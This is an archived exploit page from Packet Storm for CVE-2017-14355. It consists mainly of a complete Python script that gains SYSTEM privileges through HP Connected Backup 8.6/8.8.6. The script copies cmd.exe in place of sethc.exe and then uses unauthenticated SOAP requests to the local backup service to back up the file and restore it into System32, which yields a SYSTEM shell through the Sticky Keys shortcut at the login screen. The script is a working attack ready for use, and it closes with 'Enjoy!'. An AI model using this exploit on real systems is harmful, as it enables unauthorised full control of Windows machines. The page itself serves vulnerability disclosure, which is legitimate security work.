what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

HP Connected Backup 8.6 / 8.8.6 Local Privilege Escalation

HP Connected Backup 8.6 / 8.8.6 Local Privilege Escalation
Posted Jan 24, 2018
Authored by Peter Lapp

HP Connected Backup versions 8.6 and 8.8.6 suffer from a local privilege escalation vulnerability.

tags | exploit, local
advisories | CVE-2017-14355
SHA-256 | 4ec9745a0caf80870df4736931099f57d3387759529f891827958c5514239ef7

HP Connected Backup 8.6 / 8.8.6 Local Privilege Escalation

Change Mirror Download
#Tested on HP Connected Backup version 8.8.2.0 on Windows 7 x64

import os
import sys
import time
import requests
from bs4 import BeautifulSoup

def send_request(body):
url="https://localhost:16386/"
headers = {"Content-Type": "text/xml; charset=utf-8", 'SOAPAction': '""', "Set-Cookie": "CCSessionID=SessionID11"}
response = requests.post(url, data=body, headers=headers)
if response.status_code != requests.codes.ok:
print "Non-200 response. Exiting..."
sys.exit()
else:
return response.text


def get_tdate(response):
soup = BeautifulSoup(response, "html.parser")
tdate = soup.findAll("m-tdate")[0].string
return tdate

#Copy cmd.exe to world-writeable folder
print "HP Connected Backup Privilege Escalation by Peter Lapp(lappsec)"
print "Copying cmd.exe to C:\\hpcb-privesc"
os.system("mkdir C:\\hpcb-privesc")
os.system("copy C:\\Windows\\system32\\cmd.exe C:\\hpcb-privesc\\sethc.exe")

print "Creating backup for C:\\hpcb-privesc\\sethc.exe"

#StartScan required before IncludeFile request will be accepted
send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="https://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="https://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="https://localhost//UIRequestHandler.wsdl" xmlns:types="https://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="https://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="https://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="https://schemas.xmlsoap.org/soap/encoding/"><q1:StartScan xmlns:q1="https://localhost/UIRequestHandler.wsdl" /></soap:Body></soap:Envelope>""")

time.sleep(3)

#Add file to backup
send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="https://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="https://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="https://localhost//UIRequestHandler.wsdl" xmlns:types="https://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="https://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="https://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="https://schemas.xmlsoap.org/soap/encoding/"><q1:IncludeFile xmlns:q1="https://localhost/UIRequestHandler.wsdl"><param-1 xsi:type="xsd:base64Binary">QzpcaHBjYi1wcml2ZXNjXHNldGhjLmV4ZQ==</param-1><param-2 xsi:type="xsd:boolean">true</param-2></q1:IncludeFile></soap:Body></soap:Envelope>""")


print "Initiating Backup"
#Start backup

send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="https://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="https://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="https://localhost//UIRequestHandler.wsdl" xmlns:types="https://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="https://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="https://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="https://schemas.xmlsoap.org/soap/encoding/"><q1:Backup xmlns:q1="https://localhost/UIRequestHandler.wsdl" /></soap:Body></soap:Envelope>""")

print """Sleeping for 300 seconds to give time for backup to complete.
If the script fails after this then change the sleep period to give the backup enough time to complete"""

time.sleep(300)

print "Initiating restore"
#PrepareRetrieve requires valid PID of process running as SYSTEM. PID 456 is common for Windows 7 but if it fails, try another

send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="https://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="https://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="https://localhost//UIRequestHandler.wsdl" xmlns:types="https://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="https://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="https://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="https://schemas.xmlsoap.org/soap/encoding/"><q1:PrepareForRetrieve xmlns:q1="https://localhost/UIRequestHandler.wsdl"><param-1 xsi:type="xsd:unsignedInt">456</param-1></q1:PrepareForRetrieve></soap:Body></soap:Envelope>""")

#We have to get the m-TDate value for the file in order for the restore to work correctly
print "Getting m-TDate value"
fileinfo = send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="https://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="https://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="https://localhost//UIRequestHandler.wsdl" xmlns:types="https://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="https://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="https://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="https://schemas.xmlsoap.org/soap/encoding/"><q1:GetRestoreDirectoryInfo xmlns:q1="https://localhost/UIRequestHandler.wsdl"><param-1 xsi:type="xsd:base64Binary">QzpcaHBjYi1wcml2ZXNjXA==</param-1></q1:GetRestoreDirectoryInfo></soap:Body></soap:Envelope>""")
tdate = get_tdate(fileinfo)

print "Adding Restore file"

send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="https://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="https://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="https://localhost//UIRequestHandler.wsdl" xmlns:types="https://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="https://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="https://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="https://schemas.xmlsoap.org/soap/encoding/"><q1:AddRestoreFile xmlns:q1="https://localhost/UIRequestHandler.wsdl"><param-1 xsi:type="xsd:base64Binary">QzpcaHBjYi1wcml2ZXNjXHNldGhjLmV4ZQ==</param-1><param-2 xsi:type="xsd:boolean">false</param-2><param-3 xsi:type="xsd:unsignedInt">"""+tdate+"""</param-3></q1:AddRestoreFile></soap:Body></soap:Envelope>""")


print "Setting alternate restore path to C:\\Windows\\system32\\"

send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="https://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="https://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="https://localhost//UIRequestHandler.wsdl" xmlns:types="https://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="https://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="https://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="https://schemas.xmlsoap.org/soap/encoding/"><q1:SetAlternateRestorePath xmlns:q1="https://localhost/UIRequestHandler.wsdl"><param-1 xsi:type="xsd:string">C:\Windows\system32</param-1><param-2 xsi:type="xsd:boolean">false</param-2></q1:SetAlternateRestorePath></soap:Body></soap:Envelope>""")


#Set restore to replace existing file
send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="https://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="https://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="https://localhost//UIRequestHandler.wsdl" xmlns:types="https://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="https://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="https://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="https://schemas.xmlsoap.org/soap/encoding/"><q1:SetReplaceExisting xmlns:q1="https://localhost/UIRequestHandler.wsdl"><param-1 xsi:type="xsd:boolean">true</param-1></q1:SetReplaceExisting></soap:Body></soap:Envelope>""")

print "Restoring C:\\hpcb-privesc\\sethc.exe to C:\\Windows\\system32\\sethc.exe"
send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="https://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="https://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="https://localhost//UIRequestHandler.wsdl" xmlns:types="https://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="https://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="https://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="https://schemas.xmlsoap.org/soap/encoding/"><q1:Restore xmlns:q1="https://localhost/UIRequestHandler.wsdl" /></soap:Body></soap:Envelope>""")

print "If it made it this far without an error, then you should now be able to log out, press SHIFT 5 times and be given a command prompt as SYSTEM. Enjoy!"


Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close